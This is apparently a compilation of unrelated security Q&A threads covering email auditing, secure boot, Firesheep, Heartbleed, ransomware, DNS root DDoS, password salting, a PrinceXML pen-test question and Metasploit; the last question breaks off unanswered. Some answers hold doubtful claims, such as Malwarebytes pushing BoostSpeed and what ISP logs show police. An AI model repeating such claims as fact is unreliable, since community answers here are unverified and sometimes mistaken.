How can I prove to a third party that I'm sending the emails I'm supposed to? Suppose one of my duties for a small organization is to send out statements to clients by email.

Suppose one of the directors / owners / trustees want to be able to audit the numbers. Specifically he wants the ability to check that I'm not keeping two sets of books (One set for the directors and auditors and one set for the clients).

Is it enough to CC him all the statements as I'm sending them ? You can assume I know basic hacking, such as the SMTP protocol, but I don't have access to any computers other than my own.

Or do we need a more advanced product like GMail vault ? https://support.google.com/vault/answer/2539616?hl=en

I guess it depends on the context, and what a proof would consist of.

It's possible to prove that something was written at a certain time using a timestamping service or protocol. Essentially you just need someone to sign your document along with the time of the signature. There are services that do this at a not-insignificant fee, and there are also "outside-the-box" solutions that accomplish roughly the same task.

But all of these prove that something was written, not that it was sent (or more appropriately, received).

The concept of "sent" is pretty hopeless if not paired with "received", since I can send you an email, but keep it trapped on my own server for some time (and in fact modify it if desired), before eventually letting delivery happen. Likewise, your mail server can "receive" an email but not insert it into your mailbox (think spam trapping).

So, the only useful concept here has to be round-trip verification. If you send an email, and your recipient sends back a reply (preferably signed, and including the claimed signature time), then you can prove that the recipient claimed to receive your email at a given time. It's not quite the same thing, but it could be appropriate for your needs. Alternately, you could use a trusted timestamping authority to certify the time the signed receipt was received.

Some other variation on these concepts might instead be appropriate; all depending on your needs.


Integrity Check on power on VS. Secure boot Can we consider the Integrity Check on power-on and the secure boot equal from security point of view?

Secure boot is about allowing only a trusted SW to boot on the processor. A chain of trust can be built as a result of sequence of a securely booted Software components:
for example:

Bootloader authenticates the OS.
The OS authenticates Application.

Let's imagine that a system provides an Integrity check on power on, which means on power-on, the stored data (Bootloader, OS, Application) is hashed and the new hash is compared to the old stored hash of the same data. In this case, the integrity of all the stored SW component are going to be checked all together. Then a boot-up is only allowed when the integrity check was successful.

Does it make a difference to check the integrity/authenticity of the SW one after one (secure boot) or to conduct an integrity check on all of them together on power-on? In other words, when can we consider the integrity check and the secure boot equal?

The advantage of Secure Boot vs your Integrity check is that Secure Boot allows updating.
Secure boot verifies the bootloader's signature, so the bootloader can be updated without changing the the SecureBoot bios. The bootloader checks the kernel's signature, so the kernel can be updated without updating the bootloader.

This means that the BIOS can be made by a different group from the bootloader, and similarly the bootloader can be different from the kernel, ditto os, and applications.

A hashed thing can't be updated without updating the hash, so the entire stack has to be updatable or nothing is. If the root is updatable then it is a risk of the entire update infrastructure. For SecureBoot, if you can protect the signing key, the actual way of getting the update to the device can be broken without risking the device running malicious code. (It might end up running old versions of the legitimate code though).


Ways to secure yourself from Firesheep kiddies and other sniffing Just a few days ago I had my first encounter with Firesheep. Luckily I was the one using it. Well, it scared me into looking for ways to secure myself. So I have two questions:

In exactly what situations do you have to worry about a Firesheep attack? Only open wireless? What about a wireless network with an encryption key known to strangers?
What are the possible ways to protect yourself from Firesheep and other sniffing attacks? Especially options that would be free or maybe very low cost.

BlackSheep detects Firesheep in action, and HTTPS Everywhere helps use SSL-secured versions of popular sites - both are available as Firefox Addons.  In general though you should try to avoid using high-value sites from open networks - there's no panacea.


Cryptosytem Question A file is encrypted and placed on a secure FTP server. An MD5 hash is taken of the file and also placed on the FTP server. A userlogs in to the server and downloads both files, however, the hash fails to match the archive. In this case, what basic goal of a cryptosystem has failed?

I have been trying to answer this question. Would anybody be able to hint me out on this? i've tried numerous Google searches.

There are a lot of ways to look at security questions, and rarely a "right" answer.

In this case, you might want to start by listing out what the basic goal(s) of the cryptosystem is/are; i.e., "what's the point?". From there, you can consider what is not being fulfilled if the hash doesn't match.

In this case, you're looking at a system that works by posting a hash along with the content. Why might this be desirable? What guarantees/claims are you no longer able to make if the hash doesn't match the content?

Hope that helps!


Android exploit demos to scare my parents? I recently discovered that my parents' android phones have not received security updates for years because the phones are out of support. When I talked to them I realized that the benefit of up-to-date software is very abstract to them and that they clearly felt like I was overreacting.
I personally really understood the importance of software updates by watching exploit demos at IT conferences. So now I am wondering: Are there such demos aimed at educating everyday users?
I am thinking of something like https://haveibeenpwned.com/ or https://amiunique.org/ but for android.

Exploiting vulnerabilities in someone's personal device in order to educate is often a recipe for disaster.
If you show a video of someone else exploiting someone else's device, that's still going to be abstract and difficult to personalise.
It's better to create a parallel to something that they do understand and care about

changing the oil filter on the car
emptying the lint trap
vaccinations
dental cleaning
replacing weather stripping
etc.

Something that they know that they have to do on a schedule to maintain something they care about, and if they do not do it, damage occurs.
Digital technology is invisible, intangible, complex, and difficult to understand. Tie it to something that is visible, tangible, simple, and understandable.


Disabling IPV6 firewall with IPV6 disabled Our router (Asus RT-AC68U) has been slowing down our speeds, up until I disabled the IPV6 firewall (Went from 250 to 380, which is the modem cap for now). We've always had IPV6 disabled on the router, but I was wondering if it poses any security risk by also disabling the IPV6 firewall.

If the device cannot speak IPv6, then it is very unlikely that having an IPv6 firewall enabled would offer any protection.


Malewarebytes Business for Personal Use Question I currently use the MalewareBytes personal free version. I have the opportunity to use "MalewareBytes for Business" through my university. Is there any benefit to using "MalrewareBytes for Business" for my personal computer? Does that even make sense (since I am not a business, just an individual)?

I cannot address comparison of specific products on this StackExchange.

However, I do have a bit of experience with the product you mention, and it comes with a warning.

From experience:

Malwarebytes works as advertised but is is famous for urging you to use BoostSpeed.  It tries to install it by default.  It is a bit nagging.

As for your question, there is likely no difference other than that the university is paying them for non-personal use.

I would bet that it is the same program either way.

Here's the warning:

Be aware that BoostSpeed also installs Geek Buddy, which opens up your PC to remote-control from outside.

I have tested BoostSpeed enough to know that it hasn't made any visible difference in the speed of my computers.

-->  If you get BoostSpeed installed, try it, then change your mind, be sure to uninstall both BoostSpeed and Geek Buddy or you will still be open for remote control from the outside.


Is the following e-mail fraud technically possible? Summary: Can email be intercepted and modified by a 3rd-party during transit from the sender to the receiver? If so, can this interception be detected?

Details:

My friend (A) (mailbox at popular freemail example.com) ordered some goods from seller (B) (mailbox at gmail.com).
B says he mailed pro-forma invoice A. (PDF exported from Excel, all text can be selected by mouse.)
A did not receive invoice from B, but instead, with 10 hrs delay A received invoice from person C (PDF containing bitmap image looking like invoice from B, with contact and payment information altered to C.) It was sent from mailbox at gmail.com, too. Address of C is like of B, with one letter in long user name removed (example: BBBBBemmaBBBBB@gmail vs. BBBBBemaBBBBB@gmail).
A did not notice the difference and sent the payment to C. B said no payment was received. C asks for payment tracking number and asks for additional money.
When investigating, B has re-sent original invoice to A. This time it reached A (first time) and A found it is different from invoice by C. Forwarded (re-sent) message from B also contains text header showing original sending timestamp, but this is weak proof.)

Is B and C the same person, playing double role? Or is there another possible explanation how C could stop sent invoice from B and deliver modified one instead?

Both e-mail providers are large public freemails, so I cannot imagine how step 3 could happen if B was telling the truth (if person B is not C).

(Additional question: what can be done/checked about that?)

Plenty of things could have happened.

To start with, emails which are not digitally signed cannot be trusted:

they can be tampered with in transit (not very likely when the exchange is between two large providers)
the sender can simply fake the email (such an email may not be accepted by the recipient's system and one could check the path it took to reach it (if the headers were available, which is usually not the case with webmail providers))

So we do not know who sent which email (B, C or someone else). This is not interesting enough for an authority (police or other) to get involved so the hope to find out is close to none.

Now the sending itself: we do not know whether B's account is secure. Maybe C got access to it. From there on he can do plenty of things, including catching outgoing emails, redirecting incoming ones etc.

So to summarize: we do not know what happened and will not know, even by looking closely (especially if this is webmail from larger providers). The only reasonable thing which B can do is to change his credentials and review his filters (in the webmail system). And your friend to use an escrow system for payments, if available.


Are employee or badge numbers PII? We're looking at implementing an Identity Management/Lifecycle system.  We're looking at aggregating all our authentication into this system.  However, one area of concern is same-name employees, so we are implementing an employee number and badge number to differentiate employees and authenticate them appropriately.

It is believed that these numbers are PII, thus storing them for cross-reference in any other system will cause that system to fall under PII regulations.

Are employee or badge numbers considered PII?

Edit for clarification
This is mainly related to DOE O 206.1 Privacy Directive—and not GDPR.  However, this is slightly more general as I had similar arguments in the past.

The issue I'm facing—somewhat exaggerated—is that everyone I know thinks anything to do with anyone is considered PII.  Thus every system needs to be regulated.

Under GDPR or NIST definitions this would count as Personally Identifiable Information (PII).  Anything that can be used to identify a person uniquely (by itself or in conjunction with other information) is considered PII.


What could be the reason for the high traffic on the local network? In our small company we have very high traffic outbound from local network to server which is getting blocked, and slow downs our server respond time. Especially at night.

I am not security specialist so I am not sure what where and how to check that.

This information above I have from out IT partner which send email that this my be caused by hackers... But they are very slow in action. I need to get this situation to normal ASAP.

What could be reason of that and what to learn to fix that problem?

Best regards.

If you are not versed in network problems it will be very difficult for you to find the origin of the problem, but just in case you are, you can do the following but you will need to have a registry of which PC/Server has which IP.

Have a look to the log in the firewall that blocks the traffic and check for the IP (or IPs) of origin.
Go to the PC/server, check if there is any "normal" software that might be causing the problem and if you can't find any then it is probably malware so you will need to nuke it from orbit.

For the not versed or if you haven't got any registry:

Find the router which connects all the PCs.
Check the light/lights which are blinking.
If you find any reason for those PCs generating traffic or unsure leave them plugged.
If not, disconnect the cables and wait until morning to find which PCs can't access to internet. (You will notice when they shout).

As a way to improve and to easily solve future problems, consider having fixed IPs for every server/user PC and consider having the cables labelled to easily identify which cable correspond with which PC/Server.

It shouldn't take more than half a day to verify these problems for an IT network guy in an small enterprise.


Which is more secure, IMAP or POP? Which is more secure, IMAP or POP?

I realize IMAP and POP both support SSL/TLS connections, but I am concerned more about messages remaining on the server.

It seems POP would be more secure because can't you configure it not to leave messages on the server? Or does IMAP also support that?

Also, which protocol would be more amenable to being integrated with Lavabit-like services like Tutanota?

There are several aspects of security and which one is more secure for you depends on your environment and requirements:

If you have a problem with leaving the mails at a server you don't control: Both POP and IMAP can leave the mails on the server but can also delete the from the server. But usually IMAP is used in a way to leave them at the server while POP is used to just get and delete them from the server. Not that in both cases the mails are still at least for some time at the server, so if you don't trust the server at all you've lost anyway.
If you care about encrypted transport to defend against man in the middle: Both have the option to use TLS.
If you care risks introduced by the implementation of the protocol in server or client: IMAP is a way more complex protocol than POP and thus the risks of an insecure implementation are much higher there.
If you care about data loss:The servers of the providers are usually better maintained than a desktop system, i.e. professional providers have redundancy, backups etc. So leaving the data at the server (usually with IMAP) might be an advantage.
If you want some firewall in between to scan the messages for malware: POP is the more simple protocol to implement in firewalls too. It is only used to retrieve full messages (or maybe the header only) while IMAP can be used to only retrieve a specific part of the message like the body data of a specific attachment or even a specific byte range. This feature is especially used when mobile clients are used which try to reduce bandwidth use by only loading attachments on demand. But even the Thunderbird mail client on desktops transfers by default large message in multiple chunks. This behavior makes it much harder for firewalls to inspect IMAP traffic because they might miss essential context like the Content-Transfer-Encoding or the filename of the attachment or the previous chunk of a message which are needed for proper scanning. See for example the section Understanding IMAP Antivirus Scanning Limitations in the description of IMAP scanning in Juniper products and many other firewalls have similar limitations (but often don't document these) or even do not support IMAP at all.


Are there any benefits if you encrypt the home folder in a VM? I understand the security benefits of having your home folder encrypted when you install a new Linux system on a physical machine, but is encrypting your home folder as useful when we are dealing with virtual machines?

If you are using a physical machine, doing this makes perfect sense because you could detach the hard drive, connect it to another machine and access all of the data. Is this a feasible attack even when we are dealing with virtual machines?

Almost anything you do with physical machines would apply to VMs too. Well almost could apply here too.

  If you are using a physical machine, doing this makes perfect sense because you could detach the hard drive, connect it to another machine...

Your VM Harddrive is just a file on your disk and can be taken out, attached to another VM and used.

So if you're using your VMs to store sensitive data (I don't), and if your threat model needs protection of data at rest, then you would want to encrypt your VM disk and/or VM home folder encrypted.

PS: All my VMs are disposable. I maintain a few VM templates that I apply all updates to; and keep my tools / software sorted. Depending on what I want to, I clone a template and spin up a new VM. I then attach my "encrypted data disk" to the VM, use it and when done, get rid of the VM.


Protection from ransomware using virtual machine I have been recently reading about rise in ransomware attacks such as CryptXXX and I was curious about I can protect myself from such attacks. I have a Windows 10 x64 system. Some measures I took are

Update Windows, Flash, Silverlight and my browsers to latest version
Change Flash and Silverlight to "Ask to activate" and activate only if I simply cannot use a website without said plugins.
I don't use the PDF viewer plugin by Adobe. I just use my browser's default PDF viewer
I run Malwarebytes in on-demand mode, I scan my PC every week or so.
I uninstalled Java

My next steps were either using a real-time antivirus program or switching to Linux. I don't want to invest in real-time antivirus because no matter what you say, they slow the system down a bit.

Now about switching to Linux, I believe it would provide more protection because I am not aware of any Linux ransomware attacks (that have not been defeated). But my system has OEM version of Windows with UEFI and thus I am not quite ready to make a jump to dual boot or Linux-only setup. My fear is getting back to Windows-only setup with all my data intact.

Hence, my middle ground would be using Linux in Virtualbox on Windows for all my web surfing (which is the way I believe these ransomwares get to you). But I would still be tunneling my network traffic through Windows because I will be using a VM. Also, I would have to create a shared directory to be able to access the files I download on the VM on Windows.

In this scenario, am I enhancing my security against ransomware or am I still equally susceptible as browsing on my Windows system?

There is never 100% security.

There are vulnerabilities in web browsers which also work on Linux
There is malware for Linux. Malware development is constantly evolving. While you are reading this there are hundreds of people thinking about new ways to get those systems under their control which still elude them. Just because you are not aware of any good ransomware targeting Linux today doesn't mean none exist or will exist in the near future.
There are examples of security vulnerabilities in VM software which allow to attack another VM or the host from within a VM.

In order to be vulnerable with the setup you describe you would need to catch a ransomware which targets Linux and includes a VM breakout for the VM software you are using which targets a Windows host. That combination would be quite exotic, but is not completely inconceivable.

By the way, did you consider to invest into a proper backup solution? That protects you from Ransomware and a whole heap of other problems.


Storing session key for iOS app For an iOS app that communicates with a RESTful service over HTTPS, should the session key be stored in Keychain or NSUserDefaults?  Username and password are stored in Keychain, and it would seem trivial to also store the sessionKey.

But from a security standpoint, does that get you any added security?  Presumably if somebody is able to get to your NSUserDefaults, they're also able to see your HTTPS requests traffic from that app?

NSUserDefaults is not encrypted and is stored in a plain text .plist file - it can be easily opened and read, both on device and when synced to a Mac. NSUserDefaults is for preferences, not for storing secure login information Sensitive data like passwords and keys. Keys should be stored in the Keychain. Apple's Keychain Services Programming Guide states that a "keychain is an encrypted container that holds passwords for multiple applications and secure services. Keychains are secure storage containers, which means that when the keychain is locked, no one can access its protected contents". Moreover, in iOS, each application only has access to its own keychain items.

As lynks suggested, session keys should not be stored persistently. Regardless, I recommend viewing the following examples/frameworks:

Apple's GenericKeychain example
Lockbox - simplified interfacing with the Keychain
UICKeyChainStore - a simple wrapper for Keychain on iOS and OS X.


Tracking who is using VPN Is it possible for a company to track who logs into work using VPN? How is this information tracked.  I use a RSA token that is installed on my cell phone. I enter a code into the RSA app, then it gives me a new code. Does the VPN software track who uses the service?

Almost certainly. Someone along the line they get your username so that they can validate your RSA token. You likely type this in (or did during installation). They log that.

Being network and security software, I suspect the VPN logs all sorts of stuff including your originating IP address, your VPN IP address, summary stats of network traffic, etc...


Does Unbound re-use TLS connections for DoT forwarding? Unbound has the option to use DNS over TLS as an upstream (through the forward-tls-upstream setting).

CludFlare's 1.1.1.1 service offers this; also through TOR.

My question is whether

Unbound will open a new TLS connection for each request (in which case my queries will be lost in the endless soup of all the others using the same TOR exit node), or
Unbound will re-use an existing TLS connection (in which case CloudFlare can build a neat bucket of only the queries coming from my router - making the TOR tunneling part useless).

Currently there is a ticket saying that Unbound does not re-use TLS connections, but it is planned.
https://github.com/NLnetLabs/unbound/issues/47


Scrapping sensitive information via Heartbleed What are the possibilities that someone will get sensitive information via the HeartBleed exploit ?

As far as I can see, this exploit needs someone or something to "send" the exploit to the server, so if no one is using the vulnerable server then the attacker must wait for a long time to get sensitive information?

HeartBleed is a way to get a chunk of the server's memory. Regardless of whether or not someone is actively looking at sensitive data, there is at least one piece of sensitive data that will be resident in the server's memory - the server's private key for the ssl certificate.   We know that is actively in use because the attacker's own connection would have needed to be established with that key.

If no-one else has used the server, that may be the extent of it, but that key is sufficient to allow the opportunity for attackers to perform man-in-the-middle attacks and/or otherwise impersonate the server.

If the server is in active use and is sending back sensitive information, the contents of those requests/responses (which may include user/passwords) may (or may not) be found in the returned chunk of memory.  Other possibilities for an active server include session keys and potentially sensitive usage data.

All in all, it is a bad one - make sure you're patched.


Is EICAR a valid test for a mail virus scanner? We have a fairly standard commercial e-mail setup, we use Outlook and Exchange and have a very well known third party service providing spam & phishing filtering and virus and malware scanning.

I ran a test using the Kaspersky version of the EICAR standard file (for those who don't know EICAR is a standard test used to trigger your anti virus response without any risk of virus infection - more here Kaspersky EICAR)

The EICAR com file is compressed in a zip file which I attached to a mail and sent it to several people, all users received the mail with the attachment in tact and with no warning messages to the user and no alerts on the mail scanner log, the file just bypassed the scanner. On opening the attachment Microsoft Intune immediately responded and cleaned the 'virus'. For comparison, i sent the same email to my Gmail address which filtered out the message.

Are there any valid reasons that a mail virus scanner would not detect the EICAR file as a real virus and respond accordingly?

The point of EICAR is that A-V programs will respond to it as though it were a real virus, it's of limited use if they don't.

What you're seeing here likely warrants some further investigation as @schroeder suggests in comments.

I'd recommend first trying sending EICAR without putting it in an archive.  If it is found at that point it would appear that your scanner is not fully reviewing files inside archives, if it is not found at that point it appears that your scanner is either defective, or not triggering correctly on EICAR.


What access does UK Police currently have to ISP logs, and what information can said logs provide? I'm currently researching a novel that has a crime element that centres around Internet-exclusive relationships and I would appreciate any help you might be able to offer regarding how much access the UK police have to ISP logs (and any other relevant Internet-based information) and what this information might tell them.

A little more info on the basic scenario: computer equipment has been thoroughly destroyed (on a bonfire — the platters melted, etc.) and the owner has been murdered. The criminal investigators have reason to believe that there is an Internet relationship to be investigated but, because of the destroyed equipment, do not have the access to the information that they normally might. So, what could they do about investigating through ISP logs, bearing in mind that the individual concerned is now dead?

Also, am I right in thinking that, under current legislation, police have no access to Facebook accounts/logs and Skype?

There's a decent article on the BBC on this type of information here: http://www.bbc.co.uk/news/technology-17586605

In terms of what they'd get from an ISP, the likelihood is that it would be what they accessed and when, search results, search terms etc. However, the contents of online conversations wouldn't be available though they might be identified in on-line forums, blog posts, comments etc. Also, all information posted to Facebook would be available - police have to request this access. If it can be identified who the protagonist had Skype conversations with, I'm sure the history could be restored - this would likely require a warrant with Microsoft rather than the ISP. They should also be able to get access to online email accounts such as hotmail/gmail/yahoo by serving warrants to those parties.

Another article : Google report reveals sharp increase in government requests for users' data - http://www.guardian.co.uk/technology/2012/nov/13/google-transparency-report-government-requests-data

The length of time for which the police will be able to retrieve ISP logs is debateable though it's like this won't go back more than a few months so, if your protagonist's relationship isn't recent, the trail could go cold!


How can I protect myself from intercepting messages sent to the server? I want to collect certain data from my application using the driver and transfer it to the server to check its integrity. And I want to sign these packages using TPM to avoid forgery. However, a user can trick my program by writing a similar driver and intercepting, for example, messages to and from the server, replacing them with their own. What can I do? Is it possible to defend against this?

You can't. You're running into a classic problem: the user has physical access and there's absolutely nothing you can do to concretely prevent them from modifying things.
You can certainly make it harder for them to attack, for example by using HTTPS with certificate pinning for your network communications so that they can't simply man-in-the-middle the traffic, but if the user writes their own driver to mess with your driver you really can't do much about it.
The strongest protection I can think of on a modern x86 system would be for your to get your code running in an SGX enclave, but this is a rather complicated task that requires a lot of development effort. The sensitive parts of your driver code would run inside of the enclave and a regular kernel-mode driver would talk to it through ECALLs/OCALLs. This doesn't prevent the user from blocking the driver from running though, nor does it prevent the user from reverse engineering the executables on disk and writing their own tool or driver to send requests to your server.
If your goal is to prevent the user from modifying something, then you need to have more privileges and access than they do. But in the case of your code running on their computer, they always have more privileges and access than you do, by design. You can't work around this.


Client Certificates from Public Certificate Authorities I'm looking into mutual TLS authentication for a B2B API. Is it possible to use mutual TLS authentication using X.509 certificates while relying on Public CAs?

I see that some Public CAs (from CA/Browser Forum) offer signed "client authentication" certificates. What fields can I rely on in this case? Would I be able to just map the Subject Name to a user in my application and trust the CA/Browser bundle?

Can "Public CA 1" guarantee that "Public CA 2" will not sell the exact same certificate to a different company?

What fields can I rely on in this case?

It probably depends. But since there are fields in the subject for email, organization etc it is likely that these are actually filled in with the clients information.

  Would I be able to just map the Subject Name to a user in my application and trust the CA/Browser bundle?

You should not just trust arbitrary bundles to authenticate your clients - see also next question. In case you want to use client authentication for external clients (not managed by you) you might trusted selected public CA. But for authentication of your companies employees it is probably a better idea to have your own company CA in order to have better control about revocation (i.e. integrated when somebody leaves the company) etc.

  Can "Public CA 1" guarantee that "Public CA 2" will not sell the exact same certificate to a different company?

No. You have to decide which CA to trust for client authentication.


How to stay anonymous on WEB? I use to watch the status bar of my browser and note that when I visit a site many URLs are loaded like ajax[dot]googleapis or googlesyndicate[dot]com etc.

These URLs are not accessible directly by pasting them in address bar. When I searched these URLs, I found that Google collects data through these sites about location, behavior, etc of users.

So, I decided to block them. I use firefox and just found an add-on to block given/feeded URLs.

I tried a couple of things like Ghostry etc. So now I want to ask that is it enough or I need some other software..

Thanks

On a pure theoretical basis, the list of URL to block to remain anonymous is... all of them ! As soon as you contact a Web site, any site, then that site sees your IP address and can track you. The Google-like addresses that you see are used by trackers who:

don't want to hide the fact that they track you;
delegate the job to people who are good at that job;
especially when the tracking is meant to be ultimately exploited by these people.

So, basically, that kind of visible tracking is for targeted advertisement. Regardless of what you may think of the morality of such practices, one has to convene that this is about the most harmless kind of tracking: it is done by businesses who crave your attention and, indirectly, your money, but only as part of consenting transactions (i.e. buying stuff). If you concentrate on blocking these URL, you will miss on the more dangerous tracking, done behind the scene in ways that you won't see (namely by aggregating log files from host systems) and won't block either.

If you really want to "be anonymous", you'll need heavier mechanisms, e.g. Tor (whether Tor really provides anonymity is open to debate, but at least it represents a substantial effort in that direction). If you just want not to see ads, then there are extensions for that (apparently some people find that one convenient).


Spam mail "is missing domain" I just recieved a spam mail. They asked me to "confirm my amazon account / identity". The button links to a subdomain of ad-new.xyz (not sure if I am allowed to post this. Please remove the link if not allowed). Nothing special, it was not that hard to confirm it as spam.

But here's the part I don't understand: I am not able to find the sender. I've looked at the source code of the mail, but the sender is just Amazon.Support:

From: Amazon.Support (Part of he mail's source code)

My web-based email inbox show's the sender like this:

Amazon.Support@missing_domain

So, here are my questions:

How can I find out the sender domain?
How did the sender did this? Every E-Mail has a sender (domain), so it must be somewhere I guess
Should I report this to Amazon.com?

Maybe you can help me out with this.

Have a nice day! :)

You'll only be able to identify which server the email came from by checking the 'Received' headers. This isn't reliable though, since systems can be hijacked for sending spam. The FROM header isn't reliable since it can be manipulated using an SMTP client to be just about anything. Changing it is trivial really.

You can report phishing attempts to Amazon using the information on this page: https://aws.amazon.com/security/report-suspicious-emails/


Is PrinceXML exploitable if I control the template In the middle of a web application pen test.  From the client side I can control a variable called template (to a URL which ultimately produces a pdf version of the page).  This variable contains what appears to be the outline of the pdf to be created.  Of particular interest is a part of this  <%=myfield['contents']%>.

After some examination this appears to be a princexml template. If I can control the template used by princexml, is there a path for exploitation here?  I have already tried xxe, but didn't appear to work (documentation seems to indicate that needs to be enabled via a command line switch).

SymbolHound is a useful search engine for these sorts of things.

Most often I've seen this with ASP (ASP .NET?  ASP MVC?  I can't keep them straight) code.  It's also the same syntax used by ERB, a Ruby templating engine.


Suspicious VMware connections that bypass firewall I'm running VMware 5 and I have found that when I start up VMware I see two connections:

TCP 10.100.100.161:55555->as-40816.engx.vmware.com:https (ESTABLISHED)
TCP 10.100.100.161:55556->a184-85-99-51.deploy.static.akamaitechnologies.com:https (ESTABLISHED)

However I have set up my firewall to block the first one:

00100 deny ip from 17.172.224.0/20 to any
00200 deny log ip from 82.128.0.0/16 to any
00300 deny log ip from any to 64.236.0.0/16
00400 deny ip from any to 208.91.0.0/22
00500 deny log ip from any to 173.194.0.0/16
00600 deny log ip from any to 64.4.61.0/24
00700 deny log ip from any to 207.246.128.0/17
00800 deny log ip from any to 216.127.0.0/18
00900 deny log ip from any to 23.0.0.0/8
01000 deny log ip from any to 184.84.0.0/14
01100 deny ip from any to 184.85.99.51
01200 deny log ip from any to 93.184.0.0/16
01300 deny log ip from any to 239.200.3.0/24
65535 allow ip from any to any

Am I missing something? How can VMware establish a connection to 184.85.99.51 or vmware.com (208.91.0.132) and netstat tell me that it is "ESTABLISHED" when my ipfw firewall settings block that specific address from being reached? Or are my setting erroneous?

If netstats says it is established I'm inclined to believe that it is correct. I would suspect that your firewall setup is at fault.


hmac based request signature for verification say i want an application to integrate my services & need some way of verifying requests from that application, i have an integration key, and a shared secret, i can generate a generate a signature using those values & match it on server side. but for that i need to send integration key along with my request.

but as described here ,https://duo.com/docs/duoweb
this service just passes the signature without integration key, so i am guessing they manually iterate on all integration keys & secrets and generate mac for each of them then compare the signature.

any particular reason for doing that?

this service just passes the signature without integration key

It doesn't, although I can forgive you for making that mistake. The function name is a bit misleading.

sign_request isn't a particularly accurate description of what it does. It MACs the request (I assume they say "sign" simply because the average developer will have no idea what a MAC is), but it also includes the request itself in the returned data.

Given:

ikey = '3pA0XSAwHBOkyGH43WlZ'
skey = '21FNMyZQ15c4GqTHzUnJUGpYTp35LXieMfxAulY3'
akey = 'rVbrzSNJNBKyspIZgabSt3m8C6zIs20zrJF27t65'
username = 'johndoe'

sign_request will return:

TX|am9obmRvZXwzcEEwWFNBd0hCT2t5R0g0M1dsWnwxNTQ4MzQwNDY0|f8ab99bf117ec109c16b7193b5be7e16238a46f8:APP|am9obmRvZXwzcEEwWFNBd0hCT2t5R0g0M1dsWnwxNTQ4MzQzNzY2|307f27ee3ea75c09c2f2b4e8b3089b49c167b88f

Picking that apart:

TX is the hard-coded "DUO_PREFIX"
am9obmRvZXwzcEEwWFNBd0hCT2t5R0g0M1dsWnwxNTQ4MzQwNDY0 is the base64 encoding of johndoe|3pA0XSAwHBOkyGH43WlZ|1548340464, which is username|ikey|expiration-timestamp (expiration being 5 minutes from the current time)
f8ab99bf117ec109c16b7193b5be7e16238a46f8 is the hex-encoded MAC of TX|username|ikey|5m-expiration-timestamp using skey
APP is the hard-coded "APP_PREFIX"
am9obmRvZXwzcEEwWFNBd0hCT2t5R0g0M1dsWnwxNTQ4MzQzNzY2 is the base64 encoding of johndoe|3pA0XSAwHBOkyGH43WlZ|1548343766, which is username|ikey|expiration-timestamp (expiration being 1 hour from the current time)
307f27ee3ea75c09c2f2b4e8b3089b49c167b88f is the hex-encoded MAC of APP|username|ikey|1h-expiration-timestamp using akey

So ikey is actually included twice in the request.


How to securely install software on Ubuntu? How to install a software like Sublime Text on Ubuntu 14.04 LTS and mitigate against a MITM attack? There is a PPA available, but the PPA must be added manually.

I don't see any PGP keys or MD5 hashes for it on the download page.

So, is it possible to install a software like this and be safe from a MITM attack? For example, someone hack into their server, and add malware to the download file.

When you run add-apt-repository to add a PPA, this gives you a cryptographic guarantee that the content of the packages that you install are the ones from the PPA that Launchpad (the Ubuntu service that distributes PPAs) considers to be this PPA — in this case, add-apt-repository ppa:webupd8team/sublime-text-3 guarantees that, as long as Ubuntu's servers are secure, the packages that you download from that particular source were really from the Launchpad user webupd8team. So you are protected from a MITM attack.

The add-apt-repository downloads a public key associated with the PPA over HTTPS. The authors of the program don't need to provide a checksum because APT will check the signatures. The only piece of information that you need to retrieve securely is the name of the PPA (especially the name of the PPA user). A phishing attack could try to convince you to install from ppa:webupdateam/sublime-text-3 or ppa:webupd8teteam/sublime-text-3, for example, instead of the legitimate one.

Launchpad does the building, too, so if you trust Ubuntu's servers (and the authors and providers of the compilers and other build tools), you can also trust that the binary implements the source code uploaded by the PPA author.

This does not protect from an attack on Ubuntu's build servers: if they're breached, the attacker could inject a backdoor at build time. This doesn't protect from an attack on Sublime's own infrastructure that allowed the attacker to inject their source code, nor of course from a malicious developer who works for Sublime and could have included a backdoor in the genuine source code.


How bad it would be? If hackers managed to take down all 13 Root DNS servers at the same time? Would such huge DDoS attack can cause any economical damage? How severe this DDoS attack would be, if all 13 Root DNS servers got successfully DDoSed/flooded and taken out? Would any websites even load, even if it would happen??

How much data would be needed to make such big DDoS attack?
How large this DDoS attack would be in its peak?

It probably wouldn't be as horrible as you'd think.

First of all, the Domain Name System is a critical part of the Internet and DNS root servers are at the top of the hierarchy as they fulfill requests for the root zone. So, if you want to determine the IP address for a domain name (e.g. security.stackexchange.com) your very first step would be asking a root server for the authoritative name server of the .com TLD. Then you would go further down the hierarchy until you have resolved the name to an IP address.

In theory this means that without root servers, domain name resolution would fail globally, making major parts of the Internet unavailable -- but:

There is lots of caching and redundancy. A root server outage wouldn't be immediately result in servers becoming unavailable as your operating system as well as intermediate DNS servers all maintain their own caches, so they don't have to repeatedly issue the same requests. It would take some time until these entries expire and the queries actually fail. Caching is also the reason why the root servers actually only receive a moderate amount of requests.
Network administrators (and ISPs) can take easy countermeasures by maintaining their own copy of the root zone file, which then wouldn't be updated but could substitute the purpose of the root servers during an outage without noticeable impact on their users.

Also, the root server infrastructure is very robust, as concluded after the DDoS incident in 2015 (although the attack could have been made much worse using amplification techniques). While "13 root servers" doesn't sound like a lot, there are actually globally distributed server farms behind it (the root servers use Anycast routing):

  In fact, each “server” actually consists of a server farm of many physical servers in multiple locations, for reliability.
  Server L, for example, is mirrored in 128 locations in 127 towns and cities (San Jose, California, hosts two instances) in 68 countries, from Argentina to Yemen.

(Source)


Does having a salted password hash make cracking an unsalted hash of the same password easier? I've been asked to implement a system to prevent reusing passwords on the same account.

The most secure way I know to do this is to compare hashes of the password + a known salt. bcrypt.hash(sha256(password), user.savedSalt))

The rest of the system uses a separate salted sha256 - bcrypt.hash(sha256(password), 10).

These two hashes each reveal different information about the original password.

Does having both make cracking the known salt hash easier?

If you are storing the hashes of multiple passwords with the same salt, you are defeating the purpose of using a salt. The salt must be unique for each and every password, otherwise an attacker could compute H(password || salt) just once for each candidate password, and compare the resulting digest against every hash in your database, because they all use the same salt.

Also, as mentioned in the comments, you seem to be confusing the cost parameter for something else. The "10" specifies how much computation the bcrypt operation will take. A larger value increases the cost for attackers by making the operation more computationally expensive.

If you want to check for duplicate passwords, you don't need to come up with some homebrew scheme like this. If you really want, you can take the supplied password, concatenate it with the salt of the first user and hash it, and compare it against the stored hash. If it does not match, do the same for the second user, and so on. This does mean that each new password that is set will require walking through the entire database, but it will detect passwords that are exact duplicates.


Metasploit wmap_run -e hangs with Using code '404' as not found Background

When I run Metasploit, it hangs at the same place no matter what I do. It stops at this line,

  [*] Using code '404' as not found.

